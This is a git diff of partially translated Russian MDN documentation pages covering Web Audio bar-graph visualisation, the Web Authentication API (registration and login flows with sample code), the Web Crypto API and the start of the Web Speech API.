+<p>Затем мы устанавливаем значение <code>barWidth</code> , равное ширине холста, деленной на количество столбцов (длину буфера). Однако, мы домножаем ширину на 2.5, поскольку на большинстве частот звука не будет, поскольку большинство звуков, которые мы слышим в повседневной жизни, находятся в определенных, достаточно низких, диапазонах частот. Нам нет смысла показывать множество пустых частот, поэтому мы просто сдвигаем столбцы, соответствующие наиболее распространенным частотам.</p>
+
+<p>Мы также устанавливаем значение переменных <code>barHeight</code> и <code>x</code> , задающей то, где на холсте должен быть размещен каждый столбец.</p>
+
+<pre class="brush: js notranslate">      var barWidth = (WIDTH / bufferLength) * 2.5;
+      var barHeight;
+      var x = 0;</pre>
+
+<p>Как и раньше, мы в цикле проходим по каждому значению в  <code>dataArray</code>. Для каждого значения мы устанавливаем высоту <code>barHeight</code> на уровне значения в массиве, устанавливаем заливку в зависимости от <code>barHeight</code> (Чем выше столбец, тем он ярче), и рисуем столбец в <code>x</code> пикселях от левой стороны холста. Ширина столбца равна <code>barWidth</code> , а выстоа - <code>barHeight/2</code> (чтобы столбцы помещались на холсте, мы уменьшили высоту в два раза)</p>
+
+<p>Одна переменная, требующая объяснения, - это вертикальный сдвиг, с которым мы рисуем каждый столбец: <code>HEIGHT-barHeight/2</code>. Это делается для того, чтобы столбцы начинались в нижней части холста, а не в верхней, как было бы, если бы вертикальное положение было установлена в 0 0. Поэтому мы каждый раз устанавливаем вертикальное поожение в разность высоты холста и <code>barHeight/2</code>, чтобы столбцы начинались где-то между верхом и низом холста и заканчивались снизу.</p>
+
+<pre class="brush: js notranslate">      for(var i = 0; i &lt; bufferLength; i++) {
+        barHeight = dataArray[i]/2;
+
+        canvasCtx.fillStyle = 'rgb(' + (barHeight+100) + ',50,50)';
+        canvasCtx.fillRect(x,HEIGHT-barHeight/2,barWidth,barHeight);
+
+        x += barWidth + 1;
+      }
+    };</pre>
+
+<p>Снова, мы вызываем функцию draw() в конце кода, чтобы запустить процесс.</p>
+
+<pre class="brush: js notranslate">    draw();</pre>
+
+<p>Этот код дает нам следующий результат:</p>
+
+<p><img alt="a series of red bars in a bar graph, showing intensity of different frequencies in an audio signal" src="https://mdn.mozillademos.org/files/7975/bar-graph.png" style="height: 157px; width: 1260px;"></p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Примеры, используемые в данной статье, используют {{ domxref("AnalyserNode.getByteFrequencyData()") }} и {{ domxref("AnalyserNode.getByteTimeDomainData()") }}. Примеры работы с {{ domxref("AnalyserNode.getFloatFrequencyData()") }} и {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} можно найти в демо <a href="http://mdn.github.io/voice-change-o-matic-float-data/">Voice-change-O-matic-float-data</a> (Вы также можете посмотреть <a href="https://github.com/mdn/voice-change-o-matic-float-data">исходный код</a>) — это то же самое, что и <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>, но здесь используются данные типа float, а не unsigned vyte.</p>
+</div>
diff --git a/files/ru/web/api/web_authentication_api/index.html b/files/ru/web/api/web_authentication_api/index.html
new file mode 100644
index 0000000000..19162bf4f9
--- /dev/null
+++ b/files/ru/web/api/web_authentication_api/index.html
@@ -0,0 +1,241 @@
+---
+title: Web Authentication API
+slug: Web/API/Web_Authentication_API
+translation_of: Web/API/Web_Authentication_API
+---
+<div>{{securecontext_header}}{{DefaultAPISidebar("Web Authentication API")}}</div>
+
+<p class="summary">API Web Authentication - расширение <a href="/en-US/docs/Web/API/Credential_Management_API">Credential Management API</a>, добавляющее аутентификацию с использованием криптографии с открытым ключом, вход без пароля и/или надёжный второй фактор, не требующий SMS.</p>
+
+<h2 id="Принципы_и_использование_веб-аутентификации">Принципы и использование веб-аутентификации</h2>
+
+<p>API Web Authentication (также называемое WebAuthn) использует {{interwiki("wikipedia", "Public-key_cryptography", "ассметричную криптографию (систему с открытым ключом)")}} вместо паролей или SMS-сообщений для регистрации, входа и {{interwiki("wikipedia", "Multi-factor_authentication", "двухфакторной аутентификации")}} на веб-сайтах. Это устраняет многие значительные проблемы безопасности, такие как {{interwiki("wikipedia", "Phishing", "фишинг")}}, {{interwiki("wikipedia", "Data_breach", "утечки данных")}} и атаки на SMS или иные методы двухфакторной аутентификации, при этом сильно упрощая использование, т.к. пользователям не нужно запоминать десятки сложных паролей.</p>
+
+<p>На многих сайтах уже есть страницы для регистрации и входа в существующие учетные записи, и Web Authentication API может быть как заменой, так и дополнением для них. Как и остальные виды <a href="/en-US/docs/Web/API/Credential_Management_API">Credential Management API</a>, Web Authentication API содержит два базовых метода: для регистрации и для входа:</p>
+
+<ul>
+ <li>{{domxref("CredentialsContainer.create()", "navigator.credentials.create()")}} - при использовании с опцией <code>publicKey</code> создает новый набор учетных данных для регистрации нового аккаунта или добавления пары ключей к уже существующему.</li>
+ <li>{{domxref("CredentialsContainer.get()", "navigator.credentials.get()")}} - при использовании с опцией <code>publicKey</code> использует существующий набор учетных данных для аутентификации в сервисе в качестве основного способа входа или второго фактора.</li>
+</ul>
+
+<p><strong>Обратите внимание</strong>, и <code>create()</code>, и <code>get()</code> работают только в <a href="/en-US/docs/Web/Security/Secure_Contexts">Secure Context</a> (например, когда подключение к серверу происходит через https или сервер работает на localhost).</p>
+
+<p>In their most basic forms, both create() and get() receive a very large random number called a challenge from the server and they return the challenge signed by the private key back to the server. This proves to the server that a user is in possession of the private key required for authentication without revealing any secrets over the network.</p>
+
+<p>In order to understand how the create() and get() methods fit into the bigger picture, it is important to understand that they sit between two components that are outside the browser:</p>
+
+<ol>
+ <li><strong>Server</strong> - the Web Authentication API is intended to register new credentials on a server (also referred to as a service or a <a href="https://en.wikipedia.org/wiki/Relying_party">relying party</a>) and later use those same credentials on that same server to authenticate a user.</li>
+ <li><strong>Authenticator</strong> - the credentials are created and stored in a device called an authenticator. This is a new concept in authentication: when authenticating using passwords, the password is stored in a user's brain and no other device is needed; when authenticating using web authentication, the password is replaced with a key pair that is stored in an authenticator. The authenticator may be embedded into an operating system, such as Windows Hello, or may be a physical token, such as a USB or Bluetooth Security Key.</li>
+</ol>
+
+<h3 id="Регистрация">Регистрация</h3>
+
+<p>A typical registration process has six steps, as illustrated in Figure 1 and described further below. This is a simplification of the data required for the registration process that is only intended to provide an overview. The full set of required fields, optional fields, and their meanings for creating a registration request can be found in the {{domxref("PublicKeyCredentialCreationOptions")}} dictionary. Likewise, the full set of response fields can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAttestationResponse")}} interface). Note most JavaScript programmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means.</p>
+
+<p><img alt="Web Authentication API registration component and dataflow diagram" src="https://mdn.mozillademos.org/files/16189/WebAuthn_Registration_r4.png" style="height: 547px; width: 1134px;"></p>
+
+<p><em>Figure 1 - a diagram showing the sequence of actions for a web authentication registration and the essential data associated with each action.</em></p>
+
+<p>The registration steps are:</p>
+
+<ol start="0">
+ <li><strong>Приложение запрашивает регистрацию</strong> - The application makes the initial registration request. The protocol and format of this request is outside of the scope of the Web Authentication API.</li>
+ <li><strong>Server Sends Challenge, User Info, and Relying Party Info</strong> - The server sends a challenge, user information, and relying party information to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be <a href="/en-US/docs/Glossary/REST">REST</a> over https (probably using <a href="/en-US/docs/User:maybe/webidl_mdn/XMLHttpRequest_API">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>), but they could also be <a href="/en-US/docs/Glossary/SOAP">SOAP</a>, <a href="https://tools.ietf.org/html/rfc2549">RFC 2549</a> or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the <a href="/en-US/docs/Web/API/CredentialsContainer/create">create()</a> call, typically with little or no modification and returns a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> that will resolve to a {{domxref("PublicKeyCredential")}} containing an {{domxref("AuthenticatorAttestationResponse")}}. <strong>Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the registration process.</strong></li>
+ <li><strong>Браузер вызвает authenticatorMakeCredential() для аутентификатора</strong> - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which is recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).</li>
+ <li><strong>Аутентификатор создает новую пару ключей и Attestation</strong> - Before doing anything, the authenticator will typically ask for some form of user verification. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting to the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.</li>
+ <li><strong>Аутентификатор передает информацию в браузер</strong> - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.</li>
+ <li><strong>Браузер создаёт итоговый набор данных, приложение отвечает серверу</strong> - The create() Promise resolves to an {{domxref("PublicKeyCredential")}}, which has a {{domxref("PublicKeyCredential.rawId")}} that is the globally unique credential id along with a response that is the {{domxref("AuthenticatorAttestationResponse")}} containing the {{domxref("AuthenticatorResponse.clientDataJSON")}} and {{domxref("AuthenticatorAttestationResponse.attestationObject")}}. The {{domxref("PublicKeyCredential")}} is sent back to the server using any desired formatting and protocol (note that the ArrayBuffer properties need to be be base64 encoded or similar).</li>
+ <li><strong>Сервер проверят и завершает регистрацию</strong> - Finally, the server is required to perform a series of checks to ensure that the registration was complete and not tampered with. These include:
+  <ol>
+   <li>Verifying that the challenge is the same as the challenge that was sent</li>
+   <li>Ensuring that the origin was the origin expected</li>
+   <li>Validating that the signature over the clientDataHash and the attestation using the certificate chain for that specific model of the authenticator</li>
+  </ol>
+  A complete list of validation steps <a href="https://w3c.github.io/webauthn/#registering-a-new-credential">can be found in the Web Authentication API specification</a>. Assuming that the checks pan out, the server will store the new public key associated with the user's account for future use -- that is, whenever the user desires to use the public key for authentication.</li>
+</ol>
+
+<h3 id="Аутентификация">Аутентификация</h3>
+
+<p>After a user has registered with web authentication, they can subsequently authenticate (a.k.a. - login or sign-in) with the service. The authentication flow looks similar to the registration flow, and the illustration of actions in Figure 2 may be recognizable as being similar to the illustration of registration actions in Figure 1. The primary differences between registration and authentication are that: 1) authentication doesn't require user or relying party information; and 2) authentication creates an assertion using the previously generated key pair for the service rather than creating an attestation with the key pair that was burned into the authenticator during manufacturing. Again, the description of authentication below is a broad overview rather than getting into all the options and features of the Web Authentication API. The specific options for authenticating can be found in the {{domxref("PublicKeyCredentialRequestOptions")}} dictionary, and the resulting data can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAssertionResponse")}} interface) .</p>
+
+<p><img alt="WebAuthn authentication component and dataflow diagram" src="https://mdn.mozillademos.org/files/15802/MDN%20Webauthn%20Authentication%20(r1).png" style="height: 527px; width: 1067px;"></p>
+
+<p><em>Figure 2 - similar to Figure 1, a diagram showing the sequence of actions for a web authentication and the essential data associated with each action.</em></p>
+
+<ol start="0">
+ <li><strong>Приложение запрашивает аутентификацию</strong> - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of the Web Authentication API.</li>
+ <li><strong>Server Sends Challenge</strong> - The server sends a challenge to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be <a href="/en-US/docs/Glossary/REST">REST</a> over https (probably using <a href="/en-US/docs/User:maybe/webidl_mdn/XMLHttpRequest_API">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>), but they could also be <a href="/en-US/docs/Glossary/SOAP">SOAP</a>, <a href="https://tools.ietf.org/html/rfc2549">RFC 2549</a> or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the <a href="/en-US/docs/Web/API/CredentialsContainer/get">get()</a> call, typically with little or no modification. <strong>Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the authentication process.</strong></li>
+ <li><strong>Браузер вызывает authenticatorGetCredential() для аутентификатора</strong> - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the get() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).</li>
+ <li><strong>Аутентификатор создает подпись</strong> - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.</li>
+ <li><strong>Аутентификатор передает информацию в браузер</strong> - The authenticator returns the authenticatorData and assertion signature back to the browser.</li>
+ <li><strong>Браузер создаёт итоговый набор данных, приложение отвечает серверу</strong> - The browser resolves the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> to a {{domxref("PublicKeyCredential")}} with a {{domxref("PublicKeyCredential.response")}} that contains the {{domxref("AuthenticatorAssertionResponse")}}. It is up to the JavaScript application to transmit this data back to the server using any protocol and format of its choice.</li>
+ <li><strong>Сервер проверят и завершает аутентификацию</strong> - Upon receiving the result of the authentication request, the server performs validation of the response such as:
+  <ol>
+   <li>Using the public key that was stored during the registration request to validate the signature by the authenticator.</li>
+   <li>Ensuring that the challenge that was signed by the authenticator matches the challenge that was generated by the server.</li>
+   <li>Checking that the Relying Party ID is the one expected for this service.</li>
+  </ol>
+  A full list of the <a href="https://w3c.github.io/webauthn/#verifying-assertion">steps for validating an assertion can be found in the Web Authentication API specification</a>. Assuming the validation is successful, the server will note that the user is now authenticated. This is outside the scope of the Web Authentication API specification, but one option would be to drop a new cookie for the user session.</li>
+</ol>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("Credential")}} {{experimental_inline}}</dt>
+ <dd>Provides information about an entity as a prerequisite to a trust decision.</dd>
+ <dt>{{domxref("CredentialsContainer")}}</dt>
+ <dd>Exposes methods to request credentials and notify the user agent when events such as successful sign in or sign out happen. This interface is accessible from {{domxref('Navigator.credentials')}}. The Web Authentication specification adds a <code>publicKey</code> member to the {{domxref('CredentialsContainer.create','create()')}} and {{domxref('CredentialsContainer.get','get()')}} methods to either create a new public key pair or get an authentication for a key pair, repsectively.</dd>
+ <dt>{{domxref("PublicKeyCredential")}}</dt>
+ <dd>Provides information about a public key / private key pair, which is a credential for logging in to a service using an un-phishable and data-breach resistant asymmetric key pair instead of a password.</dd>
+ <dt>{{domxref("AuthenticatorResponse")}}</dt>
+ <dd>The base interface for {{domxref("AuthenticatorAttestationResponse")}} and {{domxref("AuthenticatorAssertionResponse")}}, which provide a cryptographic root of trust for a key pair. Returned by {{domxref('CredentialsContainer.create()')}} and {{domxref('CredentialsContainer.get()')}}, respectively, the child interfaces include information from the browser such as the challenge origin. Either may be returned from {{domxref("PublicKeyCredential.response")}}.</dd>
+ <dt>{{domxref("AuthenticatorAttestationResponse")}}</dt>
+ <dd>Returned by {{domxref('CredentialsContainer.create()')}} when a {{domxref('PublicKeyCredential')}} is passed, and provides a cryptographic root of trust for the new key pair that has been generated.</dd>
+ <dt>{{domxref("AuthenticatorAssertionResponse")}}</dt>
+ <dd>Returned by {{domxref('CredentialsContainer.get()')}} when a {{domxref('PublicKeyCredential')}} is passed, and provides proof to a service that it has a key pair and that the authentication request is valid and approved.</dd>
+</dl>
+
+<h2 id="Опции">Опции</h2>
+
+<dl>
+ <dt>{{domxref("PublicKeyCredentialCreationOptions")}}</dt>
+ <dd>Опции для {{domxref('CredentialsContainer.create()')}}.</dd>
+ <dt>{{domxref("PublicKeyCredentialRequestOptions")}}</dt>
+ <dd>Опции для {{domxref('CredentialsContainer.get()')}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<div class="blockIndicator warning">
+<p> В целях безопасности вызовы Web Authentication API ({{domxref('CredentialsContainer.create','create()')}} и {{domxref('CredentialsContainer.get','get()')}}) отменяются, если браузер теряет фокус до завершения вызова.</p>
+</div>
+
+<pre class="brush: js notranslate">// sample arguments for registration
+var createCredentialDefaultArgs = {
+    publicKey: {
+        // Relying Party (a.k.a. - Service):
+        rp: {
+            name: "Acme"
+        },
+
+        // User:
+        user: {
+            id: new Uint8Array(16),
+            name: "john.p.smith@example.com",
+            displayName: "John P. Smith"
+        },
+
+        pubKeyCredParams: [{
+            type: "public-key",
+            alg: -7
+        }],
+
+        attestation: "direct",
+
+        timeout: 60000,
+
+        challenge: new Uint8Array([ // must be a cryptographically random number sent from a server
+            0x8C, 0x0A, 0x26, 0xFF, 0x22, 0x91, 0xC1, 0xE9, 0xB9, 0x4E, 0x2E, 0x17, 0x1A, 0x98, 0x6A, 0x73,
+            0x71, 0x9D, 0x43, 0x48, 0xD5, 0xA7, 0x6A, 0x15, 0x7E, 0x38, 0x94, 0x52, 0x77, 0x97, 0x0F, 0xEF
+        ]).buffer
+    }
+};
+
+// sample arguments for login
+var getCredentialDefaultArgs = {
+    publicKey: {
+        timeout: 60000,
+        // allowCredentials: [newCredential] // see below
+        challenge: new Uint8Array([ // must be a cryptographically random number sent from a server
+            0x79, 0x50, 0x68, 0x71, 0xDA, 0xEE, 0xEE, 0xB9, 0x94, 0xC3, 0xC2, 0x15, 0x67, 0x65, 0x26, 0x22,
+            0xE3, 0xF3, 0xAB, 0x3B, 0x78, 0x2E, 0xD5, 0x6F, 0x81, 0x26, 0xE2, 0xA6, 0x01, 0x7D, 0x74, 0x50
+        ]).buffer
+    },
+};
+
+// register / create a new credential
+navigator.credentials.create(createCredentialDefaultArgs)
+    .then((cred) =&gt; {
+        console.log("NEW CREDENTIAL", cred);
+
+        // normally the credential IDs available for an account would come from a server
+        // but we can just copy them from above...
+        var idList = [{
+            id: cred.rawId,
+            transports: ["usb", "nfc", "ble"],
+            type: "public-key"
+        }];
+        getCredentialDefaultArgs.publicKey.allowCredentials = idList;
+        return navigator.credentials.get(getCredentialDefaultArgs);
+    })
+    .then((assertion) =&gt; {
+        console.log("ASSERTION", assertion);
+    })
+    .catch((err) =&gt; {
+        console.log("ERROR", err);
+    });
+</pre>
+
+<ul>
+ <li><span class="external">Сайт </span><a class="external" href="https://webauthn.bin.coffee/">Mozilla Demo</a> и его <a href="https://github.com/jcjones/webauthn.bin.coffee">source code</a>.</li>
+ <li><span class="external">Сайт </span><a class="external" href="http://webauthndemo.appspot.com/">Google Demo</a> и его <a href="https://github.com/google/webauthndemo">source code</a>.</li>
+ <li><a href="https://webauthn.org">webauthn.org</a>: <a href="https://github.com/apowers313/webauthn-simple-app">client source code</a> и <a href="https://github.com/apowers313/fido2-lib">server source code</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebAuthn')}}</td>
+   <td>{{Spec2('WebAuthn')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<h3 id="Credential">Credential</h3>
+
+<p>{{Compat("api.Credential")}}</p>
+
+<h3 id="CredentialsContainer">CredentialsContainer</h3>
+
+<p>{{Compat("api.CredentialsContainer")}}</p>
+
+<h3 id="PublicKeyCredential">PublicKeyCredential</h3>
+
+<p>{{Compat("api.PublicKeyCredential")}}</p>
+
+<h3 id="AuthenticatorResponse">AuthenticatorResponse</h3>
+
+<p>{{Compat("api.AuthenticatorResponse")}}</p>
+
+<h3 id="AuthenticatorAttestationResponse">AuthenticatorAttestationResponse</h3>
+
+<p>{{Compat("api.AuthenticatorAttestationResponse")}}</p>
+
+<h3 id="AuthenticatorAssertionResponse">AuthenticatorAssertionResponse</h3>
+
+<p>{{Compat("api.AuthenticatorAssertionResponse")}}</p>
+
+<h3 id="PublicKeyCredentialCreationOptions">PublicKeyCredentialCreationOptions</h3>
+
+<p>{{Compat("api.PublicKeyCredentialCreationOptions")}}</p>
+
+<h3 id="PublicKeyCredentialRequestOptions">PublicKeyCredentialRequestOptions</h3>
+
+<p>{{Compat("api.PublicKeyCredentialRequestOptions")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><span class="st"><a href="https://secure.wphackedhelp.com/blog/wordpress-two-factor-authentication/">WordPress Two-Factor Authentication</a>, ( 2FA) is an additional layer of security you can add to your <em>WordPress</em> login page.</span></li>
+</ul>
diff --git a/files/ru/web/api/web_crypto_api/checking_authenticity_with_password/index.html b/files/ru/web/api/web_crypto_api/checking_authenticity_with_password/index.html
new file mode 100644
index 0000000000..ea8ec86586
--- /dev/null
+++ b/files/ru/web/api/web_crypto_api/checking_authenticity_with_password/index.html
@@ -0,0 +1,33 @@
+---
+title: Проверка подлинности данных с паролем
+slug: Web/API/Web_Crypto_API/Checking_authenticity_with_password
+tags:
+  - HMAC
+  - Web Crypto
+translation_of: Web/API/Web_Crypto_API/Checking_authenticity_with_password
+---
+<p>{{APIRef("Web Crypto API")}}{{draft}}</p>
+
+<p>Проверка подлинности данных может быть выполнена с помощью Web Crypto API. В этой статье мы покажем как создавать и управлять подписями, используя хэш-функцию и пароль.</p>
+
+<p>HMAC алгоритм генерирует хэш на основе передаваемых ключа и данных, которые нужно подписать. Позже, идентичный хэш может быть вычислен заного любым пользователем, у которого имеется ключ. Необходимость ключа позволяет хранить данные и хэш вместе: злоумышленник не сможет создать хэш для измененных данных, не имея ключа.</p>
+
+<p>Стоит заметить, что алгоритм никак не связан с какой-либо другой информацией о владельце: знание ключа – необходимое и достаточное условие для изменения данных.</p>
+
+<p>Предположим, данные хранятся на компьютере. Чтобы получить доступ к записи или чтению, мы будем использовать <code>localforage.js</code> – библиотека-обертка над хранилищами браузера. Эта библиотека необязательна и используется в качестве примера для удобства, чтобы сосредоточиться на криптографии.</p>
+
+<p>Данные, доступ к которым мы хотим получить, имеют следующую форму:</p>
+
+<p> </p>
+
+<p>где <code>data</code><em> </em>– данные для подписания и <code>signature</code> – подпись, информация для проверки подлинности.</p>
+
+<p>Криптографические ключи невозможно выучить наизусть, а обычные пароли недостаточно безопасны. Чтобы решить эту проблему, криптографы создали алгоритмы для создания криптографических ключей из паролей. Знание пароля позволяет воссоздать ключ и использовать его.</p>
+
+<p>Запрашиваем пароль у пользователя для генерации ключа:</p>
+
+<pre> </pre>
+
+<p>С этим ключом мы можем вычислить хэш данных.</p>
+
+<pre> </pre>
diff --git a/files/ru/web/api/web_crypto_api/index.html b/files/ru/web/api/web_crypto_api/index.html
new file mode 100644
index 0000000000..08e1f04357
--- /dev/null
+++ b/files/ru/web/api/web_crypto_api/index.html
@@ -0,0 +1,80 @@
+---
+title: Web Crypto API
+slug: Web/API/Web_Crypto_API
+tags:
+  - API
+translation_of: Web/API/Web_Crypto_API
+---
+<p>{{DefaultAPISidebar("Web Crypto API")}}{{SeeCompatTable}}{{draft}}</p>
+
+<p><strong>Web Crypto API</strong> – интерфейс, позволяющий использовать криптографические примитивы для построения систем, <span style="font-size: 1rem; letter-spacing: -0.00278rem;">манипулировать, хранить секретные ключи без необходимости делать доступными базовые биты ключа для JavaScript.</span></p>
+
+<p>Интерфейс открывает доступ к следующим примитивам:</p>
+
+<ul>
+ <li><em>digest</em>, the ability to compute a hash of an arbitrary block of data, in order to detect any change in it.</li>
+ <li><em>mac</em>, the ability to compute a message authentication code.</li>
+ <li><em>sign</em> и <em>verify</em>, the ability to digitally sign a document, and to verify a signature.</li>
+ <li><em>encrypt</em> и <em>decrypt</em>, the ability to encode or decode a document.</li>
+ <li><em>import</em> и <em>export</em>, the ability to import a key or export a key.</li>
+ <li><em>key generation</em>, the ability to create a cryptographically secure key, or key pair, without the use of base key, but using the available entropy of the local system.</li>
+ <li><em>key wrapping</em> and <em>unwrapping</em>, the ability to transmit, and to receive, a key from a third party, encoded using another key, without exposing the underlying key to JavaScript.</li>
+ <li><em>random</em>, способность генерировать криптографически достоверные псевдослучайные числа.</li>
+</ul>
+
+<p>Web Crypto API не решает всех проблем, которые касаются использования криптографии на Web-сайтах или приложениях:</p>
+
+<ul>
+ <li>Она не заменяет "<a href="/en-US/docs/Web/Security/Same-origin_policy">с</a>обственной модели безопасности" браузера (когда на некоторых Web-сайтах используются свои собственные ключи).</li>
+ <li>Оно не взаимодействует со специальным аппаратным обеспечением (смарт-карты, USB-ключи или генераторы случайных чисел).</li>
+</ul>
+
+<div class="warning">
+<p><strong>Внимание!</strong></p>
+
+<ul>
+ <li>Само по себе использование криптографии не делает систему безопасной. Безопасность – это <strong>процесс</strong> постоянной оценки рисков, возникающих в контексте эксплуатации системы. Контекст, как и риски, изменяются с течением времени.</li>
+ <li>When dealing with security, the whole <strong>system</strong> must be considered. In the case of the Web Crypto API, Web developers shouldn't consider only the security of the script, but the security of the connection to the server, because using Web Crypto over HTTP is not secure. The overall security can't be stronger than the security of the weakest part of the overall system.</li>
+</ul>
+</div>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<p>Некоторые браузеры реализовали интерфейс {{domxref("Crypto")}}, но сделали это недостаточно точно или без должного уровня безопасности. Чтобы избежать конфуза с модулем {{domxref("Crypto")}} из пакета Node, методы и свойства интерфейса были перенесены в новый интерфейс: {{domxref("SubtleCrypto")}}. Свойство {{domxref("Crypto.subtle")}} даёт доступ к объекту, реализующему Web Crypto API.</p>
+
+<h2 id="Использование">Использование</h2>
+
+<p>Web Crypto API может использоваться для:</p>
+
+<ul>
+ <li>того, чтобы удостовериться в том, что данные не подделаны третьей стороной. Если информация хранится в открытом хранилище, подпись, сгенерированная с помощью пароля, позволяет людям, знающим пароль, выяснить, имеют ли они дело с оригинальными значениями или же нет.</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Web Crypto API")}}</td>
+   <td>{{Spec2("Web Crypto API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Crypto")}}</p>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ru/web/api/web_speech_api/index.html b/files/ru/web/api/web_speech_api/index.html
new file mode 100644
index 0000000000..3398c86aad
--- /dev/null
+++ b/files/ru/web/api/web_speech_api/index.html
@@ -0,0 +1,176 @@
+---
+title: Web Speech API
+slug: Web/API/Web_Speech_API
+translation_of: Web/API/Web_Speech_API
+---
+<div>{{DefaultAPISidebar("Web Speech API")}}{{seecompattable}}</div>
+
+<div class="summary">
+<p>Web Speech API позволяет взаимодействовать с голосовыми интерфейсами в ваших веб приложениях. Web Speech API состоит из двух частей: SpeechSynthesis (Текст-в-Речь), и SpeechRecognition (Асинхронное распознавание речи)</p>
+</div>
+
+<h2 id="Концепции_и_использование_Web_Speech">Концепции и использование Web Speech</h2>
+
+<p>Web Speech API позволяет веб приложениям управлять голосовыми данными. Существует два компонента к этому API:</p>
+
+<ul>
+ <li>Распознавание голоса. Доступ обеспечивается через {{domxref("SpeechRecognition")}} интерфейс, который в свою очередь обеспечивает возможность распознавать текст из входящего аудио потока (обычно через устройство распознавания речи в устройстве по умолчанию) и отвечать соответственно. Воспользовавшись конструктором интерфейса вы можете создать новый {{domxref("SpeechRecognition")}} объект, у которого есть ряд событий для обнаружения начала речи через микрофон устройства. {{domxref("SpeechGrammar")}} интерфейс предоставляет контейнер для определенного набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью <a href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>.)</li>
+ <li>Доступ к синтезу речи осуществляется с помощью {{domxref("SpeechSynthesis")}} интерфейса, компонент text-to-speech позволяет приложениям прочесть свой текстовый контент (обычно через дефолтный синтезатор речи устройства). В {{domxref("SpeechSynthesisVoice")}} объектах есть различные типы голоса, и различным частям текста можно назначать   {{domxref("SpeechSynthesisUtterance")}} объекты. Можно начать воспроизведение передав их методу {{domxref("SpeechSynthesis.speak()")}}.</li>
+</ul>
+
+<p>Для большей информации по использованию этих фич, смотрите <a href="/en-US/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API">Using the Web Speech API</a>.</p>
+
+<h2 id="Интерфейсы_Web_Speech_API">Интерфейсы Web Speech API</h2>
+
+<h3 id="Распознавание_речи">Распознавание речи</h3>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition")}}</dt>
+ <dd>The controller interface for the recognition service; this also handles the {{domxref("SpeechRecognitionEvent")}} sent from the recognition service.</dd>
+ <dt>{{domxref("SpeechRecognitionAlternative")}}</dt>
+ <dd>Представляет одно слово которое было распознано службой распознавания голоса.</dd>
